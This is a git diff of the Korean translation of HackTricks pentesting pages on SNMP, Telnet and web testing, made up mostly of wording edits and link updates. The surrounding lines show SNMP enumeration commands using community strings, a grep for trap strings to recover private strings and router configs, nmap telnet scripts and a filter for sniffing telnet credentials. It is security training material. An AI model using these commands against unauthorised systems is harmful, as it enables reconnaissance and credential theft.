๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ธŒ๋žœ์น˜ ๋‚ด์—์„œ ๊ทธ๋“ค์€ **์ž์‹ ์˜ ์ œํ’ˆ ๋ผ์ธ๊ณผ ๊ด€๋ จ๋œ ๊ด€๋ฆฌ ๊ฐ์ฒด๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ์ž์œจ์„ฑ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค**. ์ด ์‹œ์Šคํ…œ์€ ๋‹ค์–‘ํ•œ ๊ณต๊ธ‰์—…์ฒด ๋ฐ ํ‘œ์ค€ ๊ฐ„์— ๊ด‘๋ฒ”์œ„ํ•œ ๊ฐ์ฒด๋ฅผ ์‹๋ณ„ํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ๊ตฌ์กฐ์ ์ด๊ณ  ์กฐ์ง์ ์ธ ๋ฐฉ๋ฒ•์„ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) ์›น์—์„œ **OID ํŠธ๋ฆฌ**๋ฅผ **ํƒ์ƒ‰**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ๋˜๋Š” **OID์˜ ์˜๋ฏธ๋ฅผ ํ™•์ธ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)์—์„œ ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.\ -์ผ๋ถ€ **์ž˜ ์•Œ๋ ค์ง„ OID**๊ฐ€ ์žˆ์œผ๋ฉฐ, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) ๋‚ด์˜ OID๋Š” MIB-2์—์„œ ์ •์˜๋œ Simple Network Management Protocol (SNMP) ๋ณ€์ˆ˜๋ฅผ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  **์ด OID์—์„œ ๋Œ€๊ธฐ ์ค‘์ธ OID**๋ฅผ ํ†ตํ•ด ํฅ๋ฏธ๋กœ์šด ํ˜ธ์ŠคํŠธ ๋ฐ์ดํ„ฐ(์‹œ์Šคํ…œ ๋ฐ์ดํ„ฐ, ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ, ํ”„๋กœ์„ธ์Šค ๋ฐ์ดํ„ฐ ๋“ฑ)๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ผ๋ถ€ **์ž˜ ์•Œ๋ ค์ง„ OID**๊ฐ€ ์žˆ์œผ๋ฉฐ, [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) ๋‚ด์˜ OID๋Š” MIB-2์—์„œ ์ •์˜ํ•œ Simple Network Management Protocol (SNMP) ๋ณ€์ˆ˜๋ฅผ ์ฐธ์กฐํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  **์ด OID์—์„œ ํŒŒ์ƒ๋œ OID**๋ฅผ ํ†ตํ•ด ํฅ๋ฏธ๋กœ์šด ํ˜ธ์ŠคํŠธ ๋ฐ์ดํ„ฐ(์‹œ์Šคํ…œ ๋ฐ์ดํ„ฐ, ๋„คํŠธ์›Œํฌ ๋ฐ์ดํ„ฐ, ํ”„๋กœ์„ธ์Šค ๋ฐ์ดํ„ฐ ๋“ฑ)๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### **OID ์˜ˆ์‹œ** @@ -39,14 +38,14 @@ MIB ๊ฐ์ฒด ID ๋˜๋Š” OID์˜ ๊ฐ€์žฅ ๋†’์€ ์ˆ˜์ค€์€ ๋‹ค์–‘ํ•œ ํ‘œ์ค€ ์„ค์ • ์กฐ ์ด ์ฃผ์†Œ์˜ ์„ธ๋ถ€ ์‚ฌํ•ญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค. -- 1 โ€“ ์ด๊ฒƒ์€ ISO๋ผ๊ณ  ํ•˜๋ฉฐ, ์ด๊ฒƒ์ด OID์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋ชจ๋“  OID๋Š” "1"๋กœ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. -- 3 โ€“ ์ด๊ฒƒ์€ ORG๋ผ๊ณ  ํ•˜๋ฉฐ, ์žฅ์น˜๋ฅผ ๋งŒ๋“  ์กฐ์ง์„ ์ง€์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. +- 1 โ€“ ์ด๊ฒƒ์€ ISO๋ผ๊ณ  ํ•˜๋ฉฐ, ์ด๊ฒƒ์ด OID์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ๋ชจ๋“  OID๊ฐ€ "1"๋กœ ์‹œ์ž‘ํ•˜๋Š” ์ด์œ ์ž…๋‹ˆ๋‹ค. +- 3 โ€“ ์ด๊ฒƒ์€ ORG๋ผ๊ณ  ํ•˜๋ฉฐ, ์žฅ์น˜๋ฅผ ์ œ์ž‘ํ•œ ์กฐ์ง์„ ์ง€์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. - 6 โ€“ ์ด๊ฒƒ์€ dod ๋˜๋Š” ๊ตญ๋ฐฉ๋ถ€๋กœ, ์ธํ„ฐ๋„ท์„ ์ฒ˜์Œ์œผ๋กœ ์„ค๋ฆฝํ•œ ์กฐ์ง์ž…๋‹ˆ๋‹ค. - 1 โ€“ ์ด๊ฒƒ์€ ์ธํ„ฐ๋„ท์˜ ๊ฐ’์„ ๋‚˜ํƒ€๋‚ด์–ด ๋ชจ๋“  ํ†ต์‹ ์ด ์ธํ„ฐ๋„ท์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์งˆ ๊ฒƒ์ž„์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -- 4 โ€“ ์ด ๊ฐ’์€ ์ด ์žฅ์น˜๊ฐ€ ์ •๋ถ€๊ฐ€ ์•„๋‹Œ ๋ฏผ๊ฐ„ ์กฐ์ง์— ์˜ํ•ด ๋งŒ๋“ค์–ด์กŒ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -- 1 โ€“ ์ด ๊ฐ’์€ ์žฅ์น˜๊ฐ€ ๊ธฐ์—… ๋˜๋Š” ๋น„์ฆˆ๋‹ˆ์Šค ์—”ํ‹ฐํ‹ฐ์— ์˜ํ•ด ๋งŒ๋“ค์–ด์กŒ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +- 4 โ€“ ์ด ๊ฐ’์€ ์ด ์žฅ์น˜๊ฐ€ ์ •๋ถ€๊ฐ€ ์•„๋‹Œ ๋ฏผ๊ฐ„ ์กฐ์ง์— ์˜ํ•ด ์ œ์ž‘๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. +- 1 โ€“ ์ด ๊ฐ’์€ ์žฅ์น˜๊ฐ€ ๊ธฐ์—… ๋˜๋Š” ๋น„์ฆˆ๋‹ˆ์Šค ์—”ํ‹ฐํ‹ฐ์— ์˜ํ•ด ์ œ์ž‘๋˜์—ˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. -์ด ์ฒซ ์—ฌ์„ฏ ๊ฐ’์€ ๋ชจ๋“  ์žฅ์น˜์— ๋Œ€ํ•ด ๋™์ผํ•˜๋ฉฐ, ๊ทธ๋“ค์— ๋Œ€ํ•œ ๊ธฐ๋ณธ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ์ˆซ์ž ์‹œํ€€์Šค๋Š” ๋ชจ๋“  OID์— ๋Œ€ํ•ด ๋™์ผํ•˜๋ฉฐ, ์ •๋ถ€๊ฐ€ ๋งŒ๋“  ์žฅ์น˜์˜ ๊ฒฝ์šฐ๋ฅผ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. +์ด ์ฒซ ์—ฌ์„ฏ ๊ฐ’์€ ๋ชจ๋“  ์žฅ์น˜์— ๋Œ€ํ•ด ๋™์ผํ•˜๋ฉฐ, ์žฅ์น˜์— ๋Œ€ํ•œ ๊ธฐ๋ณธ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด ์ˆซ์ž ์‹œํ€€์Šค๋Š” ๋ชจ๋“  OID์— ๋Œ€ํ•ด ๋™์ผํ•˜์ง€๋งŒ, ์žฅ์น˜๊ฐ€ ์ •๋ถ€์— ์˜ํ•ด ์ œ์ž‘๋œ ๊ฒฝ์šฐ๋Š” ์ œ์™ธ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ ์ˆซ์ž ์„ธํŠธ๋กœ ๋„˜์–ด๊ฐ‘๋‹ˆ๋‹ค. @@ -66,7 +65,7 @@ MIB ๊ฐ์ฒด ID ๋˜๋Š” OID์˜ ๊ฐ€์žฅ ๋†’์€ ์ˆ˜์ค€์€ ๋‹ค์–‘ํ•œ ํ‘œ์ค€ ์„ค์ • ์กฐ ### SNMP ๋ฒ„์ „ -SNMP์—๋Š” 2๊ฐœ์˜ ์ค‘์š”ํ•œ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค: +SNMP์—๋Š” 2๊ฐ€์ง€ ์ค‘์š”ํ•œ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค: - **SNMPv1**: ์ฃผ์š” ๋ฒ„์ „์œผ๋กœ, ์—ฌ์ „ํžˆ ๊ฐ€์žฅ ๋นˆ๋ฒˆํ•˜๊ฒŒ ์‚ฌ์šฉ๋˜๋ฉฐ, **์ธ์ฆ์€ ๋ฌธ์ž์—ด**(์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด)์— ๊ธฐ๋ฐ˜ํ•˜๊ณ  **์ผ๋ฐ˜ ํ…์ŠคํŠธ**๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค(๋ชจ๋“  ์ •๋ณด๊ฐ€ ์ผ๋ฐ˜ ํ…์ŠคํŠธ๋กœ ์ „์†ก๋จ). **๋ฒ„์ „ 2 ๋ฐ 2c**๋„ **์ผ๋ฐ˜ ํ…์ŠคํŠธ๋กœ ํŠธ๋ž˜ํ”ฝ์„ ์ „์†ก**ํ•˜๋ฉฐ **์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์„ ์ธ์ฆ**์œผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. - **SNMPv3**: ๋” ๋‚˜์€ **์ธ์ฆ** ํ˜•ํƒœ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ ์ •๋ณด๋Š” **์•”ํ˜ธํ™”**๋˜์–ด ์ „์†ก๋ฉ๋‹ˆ๋‹ค( **์‚ฌ์ „ ๊ณต๊ฒฉ**์ด ์ˆ˜ํ–‰๋  ์ˆ˜ ์žˆ์ง€๋งŒ, SNMPv1 ๋ฐ v2๋ณด๋‹ค ์˜ฌ๋ฐ”๋ฅธ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ฐพ๊ธฐ๊ฐ€ ํ›จ์”ฌ ๋” ์–ด๋ ค์›Œ์ง‘๋‹ˆ๋‹ค). @@ -74,7 +73,7 @@ SNMP์—๋Š” 2๊ฐœ์˜ ์ค‘์š”ํ•œ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค: ### ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด ์•ž์„œ ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด, **MIB์— ์ €์žฅ๋œ ์ •๋ณด์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๋ฒ„์ „ 1 ๋ฐ 2/2c์˜ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด๊ณผ ๋ฒ„์ „ 3์˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.**\ -์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์—๋Š” **2๊ฐ€์ง€ ์œ ํ˜•**์ด ์žˆ์Šต๋‹ˆ๋‹ค: +**2๊ฐ€์ง€ ์œ ํ˜•์˜ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด**์ด ์žˆ์Šต๋‹ˆ๋‹ค: - **`public`** ์ฃผ๋กœ **์ฝ๊ธฐ ์ „์šฉ** ๊ธฐ๋Šฅ - **`private`** **์ฝ๊ธฐ/์“ฐ๊ธฐ** ์ผ๋ฐ˜์ ์œผ๋กœ @@ -82,7 +81,7 @@ SNMP์—๋Š” 2๊ฐœ์˜ ์ค‘์š”ํ•œ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค: **OID์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ์„ฑ์€ ์‚ฌ์šฉ๋œ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์— ๋”ฐ๋ผ ๋‹ค๋ฅด๋ฏ€๋กœ**, **"public"**์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ๋”๋ผ๋„ **์ผ๋ถ€ ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.** ๋˜ํ•œ, **ํ•ญ์ƒ "์ฝ๊ธฐ ์ „์šฉ"์ธ ๊ฐ์ฒด๊ฐ€ ์กด์žฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.**\ ๊ฐ์ฒด๋ฅผ **์“ฐ๊ธฐ** ์‹œ๋„ํ•˜๋ฉด **`noSuchName` ๋˜๋Š” `readOnly` ์˜ค๋ฅ˜**๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค\*\*.\*\* -๋ฒ„์ „ 1 ๋ฐ 2/2c์—์„œ๋Š” **์ž˜๋ชป๋œ** ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์„ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ **์‘๋‹ตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ์‘๋‹ต์ด ์žˆ์œผ๋ฉด **์œ ํšจํ•œ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์ด ์‚ฌ์šฉ๋œ ๊ฒƒ์ž…๋‹ˆ๋‹ค**. +๋ฒ„์ „ 1 ๋ฐ 2/2c์—์„œ **์ž˜๋ชป๋œ** ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์„ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ **์‘๋‹ตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค**. ๋”ฐ๋ผ์„œ ์‘๋‹ต์ด ์žˆ์œผ๋ฉด **์œ ํšจํ•œ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์ด ์‚ฌ์šฉ๋œ ๊ฒƒ์ž…๋‹ˆ๋‹ค**. ## ํฌํŠธ @@ -98,14 +97,14 @@ SNMP์—๋Š” 2๊ฐœ์˜ ์ค‘์š”ํ•œ ๋ฒ„์ „์ด ์žˆ์Šต๋‹ˆ๋‹ค: ## SNMP ์—ด๊ฑฐํ•˜๊ธฐ -์žฅ์น˜์—์„œ ์ˆ˜์ง‘๋œ **๊ฐ OID์˜ ์˜๋ฏธ**๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค: +์žฅ์น˜์—์„œ ์ˆ˜์ง‘๋œ **๊ฐ OID์˜ ์˜๋ฏธ**๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์„ค์น˜ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค: ```bash apt-get install snmp-mibs-downloader download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -์œ ํšจํ•œ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, **SNMPWalk** ๋˜๋Š” **SNMP-Check**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์œ ํšจํ•œ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด, **SNMPWalk** ๋˜๋Š” **SNMP-Check**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -158,7 +157,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ### Cisco -Cisco ์žฅ๋น„๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์ด ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”: +Cisco ์žฅ๋น„๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์ด ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”: {{#ref}} cisco-snmp.md @@ -182,9 +181,9 @@ Braa๋Š” ์ž์ฒด SNMP ์Šคํƒ์„ ๊ตฌํ˜„ํ•˜๋ฏ€๋กœ net-snmp์™€ ๊ฐ™์€ SNMP ๋ผ์ด๋ธŒ ```bash braa ignite123@192.168.1.125:.1.3.6.* ``` -๋งŽ์€ MB์˜ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ์ˆ˜๋™์œผ๋กœ ์ฒ˜๋ฆฌํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. +์ด๊ฒƒ์€ ์ˆ˜๋™์œผ๋กœ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์—†๋Š” ๋งŽ์€ MB์˜ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -๊ทธ๋ž˜์„œ ๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ์•„๋ด…์‹œ๋‹ค (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): +๊ทธ๋ž˜์„œ, ๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ฐพ์•„๋ด…์‹œ๋‹ค (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### **์žฅ์น˜** @@ -194,7 +193,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` ### **๋น„๊ณต์‹ ๋ฌธ์ž์—ด ์‹๋ณ„** -์ค‘์š”ํ•œ ๋‹จ๊ณ„๋Š” ์กฐ์ง์—์„œ ์‚ฌ์šฉํ•˜๋Š” **๋น„๊ณต์‹ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด**์„ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํŠนํžˆ Cisco IOS ๋ผ์šฐํ„ฐ์—์„œ ์ด ๋ฌธ์ž์—ด์€ ๋ผ์šฐํ„ฐ์˜ **์‹คํ–‰ ๊ตฌ์„ฑ**์„ ์ถ”์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์‹๋ณ„์€ ์ข…์ข… **grep ๋ช…๋ น**์„ ์‚ฌ์šฉํ•˜์—ฌ "trap"์ด๋ผ๋Š” ๋‹จ์–ด์— ๋Œ€ํ•œ SNMP Trap ๋ฐ์ดํ„ฐ๋ฅผ ๋ถ„์„ํ•˜๋Š” ๋ฐ ์˜์กดํ•ฉ๋‹ˆ๋‹ค. +์ค‘์š”ํ•œ ๋‹จ๊ณ„๋Š” ์กฐ์ง์—์„œ ์‚ฌ์šฉํ•˜๋Š” **๋น„๊ณต์‹ ์ปค๋ฎค๋‹ˆํ‹ฐ ๋ฌธ์ž์—ด**์„ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด ๋ฌธ์ž์—ด์€ ๋ผ์šฐํ„ฐ์—์„œ **์‹คํ–‰ ์ค‘์ธ ๊ตฌ์„ฑ**์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์‹๋ณ„์€ ์ข…์ข… **grep ๋ช…๋ น**์„ ์‚ฌ์šฉํ•˜์—ฌ "trap"์ด๋ผ๋Š” ๋‹จ์–ด์— ๋Œ€ํ•œ SNMP Trap ๋ฐ์ดํ„ฐ๋ฅผ ๋ถ„์„ํ•˜๋Š” ๋ฐ ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ```bash grep -i "trap" *.snmp ``` @@ -237,7 +236,7 @@ Description: Notes for SNMP Note: | SNMP - Simple Network Management Protocol is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). -https://book.hacktricks.xyz/pentesting/pentesting-snmp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: SNMP Check diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index 18c59fd7e..4e958946b 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -23,9 +23,9 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` ์Šคํฌ๋ฆฝํŠธ `telnet-ntlm-info.nse`๋Š” NTLM ์ •๋ณด๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค (Windows ๋ฒ„์ „). -[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)์—์„œ: TELNET ํ”„๋กœํ† ์ฝœ์—๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋” ์ •๊ตํ•œ (๋˜๋Š” ์•„๋งˆ๋„ ๋‹จ์ˆœํžˆ ๋‹ค๋ฅธ) ๊ทœ์น™ ์ง‘ํ•ฉ์„ ์‚ฌ์šฉํ•˜๊ธฐ๋กœ ์‚ฌ์šฉ์ž์™€ ์„œ๋ฒ„๊ฐ€ ๋™์˜ํ•  ์ˆ˜ ์žˆ๋„๋ก "**DO, DON'T, WILL, WON'T**" ๊ตฌ์กฐ์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ "**์˜ต์…˜**"์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์˜ต์…˜์—๋Š” ๋ฌธ์ž ์ง‘ํ•ฉ ๋ณ€๊ฒฝ, ์—์ฝ” ๋ชจ๋“œ ๋ณ€๊ฒฝ ๋“ฑ์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)์—์„œ: TELNET ํ”„๋กœํ† ์ฝœ์—๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋” ์ •๊ตํ•œ (๋˜๋Š” ์•„๋งˆ๋„ ๋‹จ์ˆœํžˆ ๋‹ค๋ฅธ) ๊ทœ์น™ ์ง‘ํ•ฉ์„ ์‚ฌ์šฉํ•˜๊ธฐ๋กœ ๋™์˜ํ•  ์ˆ˜ ์žˆ๋„๋ก "**DO, DON'T, WILL, WON'T**" ๊ตฌ์กฐ์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ "**์˜ต์…˜**"์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์˜ต์…˜์—๋Š” ๋ฌธ์ž ์ง‘ํ•ฉ ๋ณ€๊ฒฝ, ์—์ฝ” ๋ชจ๋“œ ๋ณ€๊ฒฝ ๋“ฑ์ด ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -**์ด ์˜ต์…˜์„ ์—ด๊ฑฐํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ์ง€๋งŒ ๋ฐฉ๋ฒ•์„ ๋ชจ๋ฅด๋‹ˆ, ๋ฐฉ๋ฒ•์„ ์•„์‹ ๋‹ค๋ฉด ์•Œ๋ ค์ฃผ์„ธ์š”.** +**์ด ์˜ต์…˜์„ ์—ด๊ฑฐํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ณ  ์žˆ์ง€๋งŒ, ๋ฐฉ๋ฒ•์„ ๋ชจ๋ฅด๋‹ˆ ์•„๋Š” ๊ฒฝ์šฐ ์•Œ๋ ค์ฃผ์„ธ์š”.** ### [Brute force](../generic-hacking/brute-force.md#telnet) @@ -48,7 +48,7 @@ Note: | wireshark to hear creds being passed tcp.port == 23 and ip.addr != myip -https://book.hacktricks.xyz/pentesting/pentesting-telnet +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 3e8beff9d..ae2571f97 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -28,15 +28,15 @@ web-api-pentesting.md > ์ด ๋ฐฉ๋ฒ•๋ก ์—์„œ๋Š” ๋„๋ฉ”์ธ(๋˜๋Š” ์„œ๋ธŒ๋„๋ฉ”์ธ)์„ ๊ณต๊ฒฉํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ฐœ๊ฒฌ๋œ ๊ฐ ๋„๋ฉ”์ธ, ์„œ๋ธŒ๋„๋ฉ”์ธ ๋˜๋Š” ๋ฒ”์œ„ ๋‚ด์˜ ๋ถˆํ™•์‹คํ•œ ์›น ์„œ๋ฒ„๊ฐ€ ์žˆ๋Š” IP์— ์ด ๋ฐฉ๋ฒ•๋ก ์„ ์ ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. - [ ] **์›น ์„œ๋ฒ„**์—์„œ ์‚ฌ์šฉ๋˜๋Š” **๊ธฐ์ˆ **์„ **์‹๋ณ„**ํ•˜๋Š” ๊ฒƒ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•˜์„ธ์š”. ๊ธฐ์ˆ ์„ ์„ฑ๊ณต์ ์œผ๋กœ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‚˜๋จธ์ง€ ํ…Œ์ŠคํŠธ ๋™์•ˆ ์—ผ๋‘์— ๋‘์–ด์•ผ ํ•  **ํŠธ๋ฆญ**์„ ์ฐพ์•„๋ณด์„ธ์š”. -- [ ] ํ•ด๋‹น ๊ธฐ์ˆ  ๋ฒ„์ „์˜ **์•Œ๋ ค์ง„ ์ทจ์•ฝ์ **์ด ์žˆ๋‚˜์š”? +- [ ] ๊ธฐ์ˆ  ๋ฒ„์ „์˜ **์•Œ๋ ค์ง„ ์ทจ์•ฝ์ **์ด ์žˆ๋‚˜์š”? - [ ] **์ž˜ ์•Œ๋ ค์ง„ ๊ธฐ์ˆ **์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋‚˜์š”? ๋” ๋งŽ์€ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•œ **์œ ์šฉํ•œ ํŠธ๋ฆญ**์ด ์žˆ๋‚˜์š”? - [ ] ์‹คํ–‰ํ•  **์ „๋ฌธ ์Šค์บ๋„ˆ**๊ฐ€ ์žˆ๋‚˜์š”(์˜ˆ: wpscan)? -- [ ] **์ผ๋ฐ˜ ๋ชฉ์ ์˜ ์Šค์บ๋„ˆ**๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. ๊ทธ๋“ค์ด ๋ฌด์–ธ๊ฐ€๋ฅผ 